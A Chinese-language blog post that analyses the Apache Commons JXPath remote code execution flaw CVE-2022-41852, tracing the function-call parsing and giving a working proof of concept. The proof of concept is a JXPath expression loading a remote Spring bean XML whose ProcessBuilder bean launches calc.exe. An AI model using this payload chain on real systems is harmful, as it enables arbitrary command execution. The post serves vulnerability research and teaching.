前言
看起来是个远古依赖,但是近期才曝出漏洞来。
环境搭建
新建项目,在maven仓库里找到相关依赖:

可以看到这是08年最后更新的项目,然而直接相关的漏洞甚至有CVE-2022-41852,下载依赖:
1 2 3 4 5 6
| <dependency> <groupId>commons-jxpath</groupId> <artifactId>commons-jxpath</artifactId> <version>1.3</version> </dependency>
|
根据参考文章,该漏洞发生在使用JXPath执行恶意表达式时,测试用代码:
1 2
| JXPathContext context = JXPathContext.newContext(null); context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");
|
漏洞分析
运行测试用代码可以发现这个类ClassPathXmlApplicationContext并不存在于环境中,说明这种利用方式还需要一个别的依赖。
依赖暂且不提,先看看JXPathContext.getValue具体是个什么样的流程,根据流程发现输入的表达式被解析为了一次函数调用,找到PackageFunctions类的getFunction函数:
1 2 3 4 5 6 7 8 9 10 11 12 13
| String className = fullName.substring(0, inx); String methodName = fullName.substring(inx + 1);
Class functionClass; try { functionClass = Class.forName(className); } catch (ClassNotFoundException ex) { throw new JXPathException( "Cannot invoke extension function " + (namespace != null ? namespace + ":" + name : name), ex); }
|
加载类后调用函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| if (methodName.equals("new")) { Constructor constructor = MethodLookupUtils.lookupConstructor(functionClass, parameters); if (constructor != null) { return new ConstructorFunction(constructor); } } else { Method method = MethodLookupUtils.lookupStaticMethod( functionClass, methodName, parameters); if (method != null) { return new MethodFunction(method); } }
|
看到这里有调用构造函数和静态函数两种行为,所以Runtime和TemplatesImpl这些类就用不了了。同时由于这种调用链可控的只有输入参数,所以不容易找到合适的代码执行/命令执行点,想要利用最合适的还是找到RMI、JNDI等等可以从外面加载数据的方式。
Naming类下面倒是有一个静态的lookup函数可以调用:
1 2 3 4 5 6
| ParsedNamingURL parsed = parseURL(name); Registry registry = getRegistry(parsed);
if (parsed.name == null) return registry; return registry.lookup(parsed.name);
|
看起来可以通过RMI完成利用。
漏洞利用
补充一个spring-context-support依赖:
1 2 3 4 5 6
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> <version>5.3.25</version> </dependency>
|
放一个xml到tomcat目录下并启动:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="twings" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd.exe</value> <value>/c</value> <value>calc.exe</value> </list> </constructor-arg> </bean> </beans>
|
可以看到弹出了计算器,利用成功。
看一下ClassPathXmlApplicationContext类,这个类在实例化后会refresh并加载远程配置文件,再根据配置文件中的constructor-arg实例化主体对象,最后根据init-method调用初始化函数。
漏洞修复
好像没看到修复版本。
参考
Apache Commons JXPath 远程代码执行(CVE-2022-41852)